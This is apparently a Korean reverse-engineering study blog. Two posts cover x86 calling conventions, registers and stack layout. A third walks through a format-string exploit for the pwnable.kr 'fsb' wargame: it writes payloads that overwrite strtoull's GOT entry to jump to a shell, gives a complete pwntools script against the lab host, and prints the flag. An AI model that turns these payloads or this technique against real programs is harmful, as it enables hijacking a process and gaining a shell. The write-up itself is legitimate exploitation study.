1. 함수 호출 규약

  - 함수가 호출될 때 인자를 전달하거나 함수의 결과를 반환하는 방법에 대한 규약

  - 대표적으로 __cdecl, __stdcall, __fastcall, __thiscall 네 가지 존재

  - 분석 과정에서 해당 함수의 호출 규약을 판단하여 전달하는 인자 및 반환 값을 식별하는 것이 중요


  1-1) __cdecl


    
    - main 함수에서 __cdecl 호출 규약을 사용한 sum 함수를 호출하는 부분인 call calling.00401000 

    - 해당 함수 호출 이후 add esp, 8과 같이 스택을 보정해주는 명령어가 존재할 경우 __cdecl 규약

    - 또한 해당 스택의 크기를 이용하여 파라미터의 개수까지 확인이 가능, 파라미터는 4바이트씩 계산되므로 위 함수에서는 총 2개의 파라미터가 있음을 파악 가능


  1-2) __stdcall


    

    - 함수가 반환하는 ret 명령어에 오퍼랜드로 8이라는 상수가 온다

    - __cdecl 규약은 함수 반환 후에 해당 함수를 호출한 부분에서 스택을 조정하지만 

       __stdcall 규약을 사용할 경우 호출된 함수 내에서 반환할 때 스택을 조정함, 해당 값을 통해서도 파라미터의 개수를 추측이 가능함


     - Win32 API는 __stdcall 호출 규약을 사용함. MessageBoxA() 함수를 살펴보면 다음과 같음.

    

      해당 함수의 반환 부분에서 총 0x10 만큼의 스택을 재조정해주는 것을 확인할 수 있음

      따라서 해당 함수는 총 4바이트 크기의 파라미터를 4개 (0x10) 전달받을 것이라고 추측이 가능하며 실제 함수를 확인해보면 다음과 같이 일치함을 확인할 수 있음


    




  
1-3) __fastcall

    

    

    -  sub esp, 0xC 명령어로 스택 공간을 확보하고 edx, ecx 레지스터에 있는 값을 이용한다.
    - 함수의 호출부를 봐도 함수를 호출하기 직전 파라미터를 edx, ecx 레지스터에 넣는다.
    - __fastcall 호출 규약은 파라미터가 2개 이하일 경우에 사용이 가능하며 파라미터를 레지스터를 이용하여 전달한다. (빠름)

  1-4) __thiscall


    

    -  c++에서 객체의 멤버에 접근하기 위한 this 포인터(객체에 대한 포인터)를 edx레지스터에 전달한다.



2. if 조건문


    -  C 코드의 조건문이 디스어셈블되면 다음과 같은 형태를 가진다.



'Study > Reversing' 카테고리의 다른 글

우회 기법  (0) 2019.03.20
FSC_Level1 풀이  (0) 2019.03.20
Petya Ransomware 분석  (0) 2019.02.19
PE 헤더  (0) 2019.02.18
1. IA-32 assembly  (0) 2019.02.14

1. 레지스터 (Register)


  - 프로세서가 사용하는 작은 메모리 공간


  1-1 ) EAX (Accumulator)

   - 산술 계산에 사용되며 함수의 반환 값을 저장


  1-2 ) EDX (Data)

   - 산술 계산에 사용되지만 EAX와 같이 함수의 반환 값을 저장하지는 않음


  1-3 ) ECX (Counter)

   - 주로 반복문의 반복 횟수를 카운팅하는데 사용


  1-4 ) EBX (Base)

    - Base 값 지정, 주로 index 계산의 Base로 사용


  1-5 ) ESI (Source)

    - 문자열 또는 각종 반복 데이터를 처리하거나 메모리를 옮길 때 Source 주소 지정을 위해 사용


  1-6 ) EDI (Destination)

    - 문자열 또는 각종 반복 데이터를 처리하거나 메모리를 옮길 때 Destination 주소 지정을 위해 사용


  1-7 ) al & ah (Low & High)

    - 8비트 레지스터

    

   




2. 어셈블리 (Assembly)


  2-1 ) PUSH & POP

   - 스택에 값을 넣는 것을 PUSH, 스택의 값을 가져오는 것이 POP (PUSHAD, POPAD : 모든 레지스터를 PUSH, POP)


  2-2 ) MOV

   - 값을 넣어주는 명령어 (ex : MOV  eax, 1 )


  2-3 ) LEA

   - 주소를 가져와 넣어주는 명령어


  ※ MOV와 LEA의 차이


   



  2-4 ) ADD

   - src에서 dest로 값을 더하는 명령어


  2-5 ) SUB

   - src에서 dest로 값을 빼는 명령어


  2-6 ) INT

   - 인테럽트를 발생시키는 명령어. 뒤에 오는 오퍼랜드 값에 해당하는 인테럽트를 발생시킴. 

      대표적으로 INT 3 명령어가 존재하며 0xCC opcode를 가진 DebugBreak()가 있다. 


  2-7 ) CALL

   - 함수를 호출하는 명령어. Call 뒤의 오퍼랜드로 주소가 오게되고 해당 주소를 호출한 뒤 작업이 끝나서 Ret 명령어를 만나면 Call 다음 주소로 되돌아옴


  2-8 ) INC & DEC

   - 오퍼랜드에 1을 더하거나 뺀다.


  2-9 ) AND & OR & XOR

   - dest와 src를 연산한다. XOR eax, eax 와 같은 구문은 eax를 초기화하는데 사용


  2-10 ) NOP

   - 아무것도 수행하지 않고 다음 명령어를 수행하는 명령어


  2-11 ) CMP & JMP

   - 비교 및 점프 명령어




3. 스택 (Stack)


  - 프로세서가 사용하는 작은 메모리 공간, 함수의 반환 주소, 파라미터와 함수 내에서 선언하는 지역 변수가 해당 메모리에 위치함

 

  3-1 ) 지역 변수


   


   - push  ebp 

     : 이전 함수의 stack base pointer를 저장함 (호출된 함수의 스택 공간을 사용하기 위함)

   - mov  ebp, esp

     : 이전 함수의 esp를 현재 함수의 stack base pointer로 옮김  

   - sub  esp, 50h

     : 현재 함수의 stack pointer를 50 감소시킴 (0x50 크기의 지역 변수 공간 할당)  


   -> 지역변수가 4바이트 크기라 가정하면 ebp - 4 : 첫 번째 지역변수, ebp - 8은 두 번째 지역변수가 됨

  3-2 ) 함수의 호출과 파라미터

  

   


   - 위와 같이 3개의 인자를 전달받는 함수가 있을 경우 마지막 인자부터 역순으로 스택에 push되고 함수가 호출됨

   - 따라서 함수 호출 후 ebp에는 이전 스택의 base pointer, ebp + 4에는 함수의 리턴 주소가  위치하고 그 위로는 함수에 전달된 인자가 위치함

   - ebp + 0x8  : 첫 번째 파라미터

   - ebp + 0xC  : 두 번째 파라미터

   - ebp + 0x10 : 세 번째 파라미터


  3-3 ) 함수의 리턴 주소

   - 함수가 호출되면 전달된 인자들이 스택에 쌓이고 그 이후에 함수의 리턴 주소가 위치함

   




'Study > Reversing' 카테고리의 다른 글

우회 기법  (0) 2019.03.20
FSC_Level1 풀이  (0) 2019.03.20
Petya Ransomware 분석  (0) 2019.02.19
PE 헤더  (0) 2019.02.18
2. C 문법과 디스어셈블리  (0) 2019.02.14



FSB (Format string bug) 취약점 문제로 보인다.





flag, 바이너리, 코드가 있다.


코드를 확인해보면 다음과 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
 
unsigned long long key;
char buf[100];
char buf2[100];
 
int fsb(char** argv, char** envp){
        char* args[]={"/bin/sh"0};
        int i;
 
        char*** pargv = &argv;
        char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++for(c=*arg; *c;c++*c='\0';
        for(arg=envp;*arg;arg++for(c=*arg; *c;c++*c='\0';
        *pargv=0;
        *penvp=0;
 
        for(i=0; i<4; i++){
                printf("Give me some format strings(%d)\n", i+1);
                read(0, buf, 100);
                printf(buf);
        }
 
        printf("Wait a sec...\n");
        sleep(3);
 
        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 010);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }
 
        printf("Incorrect key \n");
        return 0;
}
 
int main(int argc, char* argv[], char** envp){
 
        int fd = open("/dev/urandom", O_RDONLY);
        if( fd==-1 || read(fd, &key, 8!= 8 ){
                printf("Error, tell admin\n");
                return 0;
        }
        close(fd);
 
        alloca(0x12345 & key);
 
        fsb(argv, envp); // exploit this format string bug!
        return 0;
}
cs



먼저 난수를 발생시켜 key를 만들고 이 키를 맞히면 쉘을 얻을 수 있는 문제이다.


fsb 함수에서는 사용자에게 키를 입력받고 이게 key와 일치하면 쉘을 실행시키는데


22번 라인에 있는 반복문에서 4개의 문자열을 입력받는데 printf에서 형식 지정자(format string)을


사용하지 않고 그냥 출력하는 것을 확인할 수 있다. 여기서 취약점이 있다.


당연 buf에 입력받기 때문에 처음엔 return address를 갖고있는 스택 주소를 buf에 쓰고 


다시 format string  bug로 return address를 쉘을 실행시키는 구문으로 돌리면 될거라 생각했는데..


buf가 전역변수였다.


즉, 내가 원하는 임의의 주소에 값을 쓰지는 못한다는 건데, 어셈을 본다..



read 함수를 통해 4회 반복을 돌며 입력을 받는 부분인데, buf에 입력 직후 스택 상황을 보기 위해 fsb+212에 bp를 걸고 실행해본다.





















buf가 전역변수이기 때문에 스택 상에서 입력한 문자열을 확인할 수 없었다.


고민을 하다가 스택에 값을 쓸 수 없다면 이미 쓰여져 있는 값 중에 활용할만한게 없나 살펴봤다.


스택에 특정 접근 가능한 주소값이 쓰여져있으면 해당 주소값을 이용하여 원하는 곳에 값을 쓸 수 있을 것이다.






저 위치에 쓰여져있던 주소가 실행 도중 esp에서 비교적 가까운 위치의 주소를 담고있었다.


이를 이용해서 0xff8322230 위치에 있는 메모리에 원하는 값을 쓸 수 있게 된다.


for문이 총 4회 반복되기 때문에 총 4번의 format string이 가능하다.


이를 어떻게 이용할까 고민해보고 처음엔 return address를 덮으려 했으나.. return address를 담고있는 주소가 터무니 없이 커서


format string을 위해 그 주소만큼 공백 문자를 채워 출력하려니 너무 오래걸릴 것 같았다.


다른 방법을 고민하다가 got를 쓰는 것도 가능할 것 같아서 시도했다. 


먼저 타겟 함수를 찾아본다.





다행히 덮어쓸만한 함수가 많다.


printf, read, sleep 함수들을 덮어써도 되겠지만 나는 strtoull로 결정했다.


이제 필요한 주소들을 확인해본다.





strtoull 함수의 got 상의 주소는 0x804a020




쉘을 실행시킬 수 있는 점프 주소는 0x0804869f



주소는 다 구했으니 공격을 하면


첫 번째 format string bug로 아까 스택 상에서 접근할 수 있던 주소에 strtoull의 got 주소인 0x804a020을 쓰고


두 번째 format string bug로 0x804a020에 쉘을 실행시키는 주소인 0x804869f를 쓰면 


strtoull 함수가 호출될 때 쉘을 얻을 수 있을 것이다.


공격을 해보면,





입력 직후 화면에서 esp부터 출력한거고, 맨 위에서 두 번째 0x0804a100이 buf의 주소니까


format string bug로 접근이 가능한 주소의 시작부분은 맨 위에서 두 번째(0xff83e1e4)이다.


목표 지점인 0xff832218까진 %x가 13번 필요하고 14번째에 %n을 통해 0x804a020을 쓴다.


마지막 %x는 출력 바이트 수를 조정하기 위해 0x804a020에서 현재까지 출력한 0x8*12만큼을 빼준다.


1
"%8x"*12 + "%" + str(0x804a020-0x8*12+"x" + "%n" 
cs



두 번째 format string에선 목표 지점인 0xff832230에 0x804a020이 쓰여졌을 것이고


여기까지 다시 접근 후 %n을 이용하여 쉘을 실행시키는 주소인 0x804869f를 쓴다.


마찬가지로 목표 지점까진 %x가 19번 필요하고 마지막 %x에서는 출력 문자의 수를 맞춰준다.


"%8x"*18 + "%" + (str(0x804869f - 0x8*18)) + "x" + "%n"


1
"%8x"*18 + "%" + (str(0x804869f - 0x8*18)) + "x" + "%n"
cs






flag : 


1
Have you ever saw an example of utilizing [n] format character?? :(
cs





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
 
strtoull_addr = 0x804a020
 
def main():
    id         = 'fsb'
    host     = 'pwnable.kr'
    port     = 2222
    pw         = 'guest'
    s = ssh(id, host, port=port, password=pw)
    
    r = s.run('./fsb')
    rcv = r.recvline_startswith('Give')
    print(rcv)
 
    r.sendline('a')                # 1st pass
    print('a')
    rcv = r.recvline_startswith('Give')
    print(rcv)
 
    r.sendline('a')                # 2nd pass
    print('a')
    rcv = r.recvline_startswith('Give')
    print(rcv)
 
    payload1 = "%8x"*12 + "%" + str(strtoull_addr-0x8*12+"x" + "%n"  # 3rd fsb attack
    print(payload1)
    r.sendline(payload1)
    rcv = r.recvline_startswith('Give')
    print(rcv)
    
    payload2 = "%8x"*18 + "%" + (str(0x804869f - 0x8*18)) + "x" + "%n" # 4th fsb attack
    print(payload2)
    r.sendline(payload2)
    rcv = r.recvline_startswith('key')
    print(rcv)
    r.sendline('s')     # send any string as key
    r.interactive()
 
main()
cs


'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

brain fuck  (0) 2019.01.08
otp  (0) 2019.01.07
21. horcruxes  (0) 2018.12.30
13. cmd1  (0) 2018.10.01
13. lotto  (0) 2018.10.01

+ Recent posts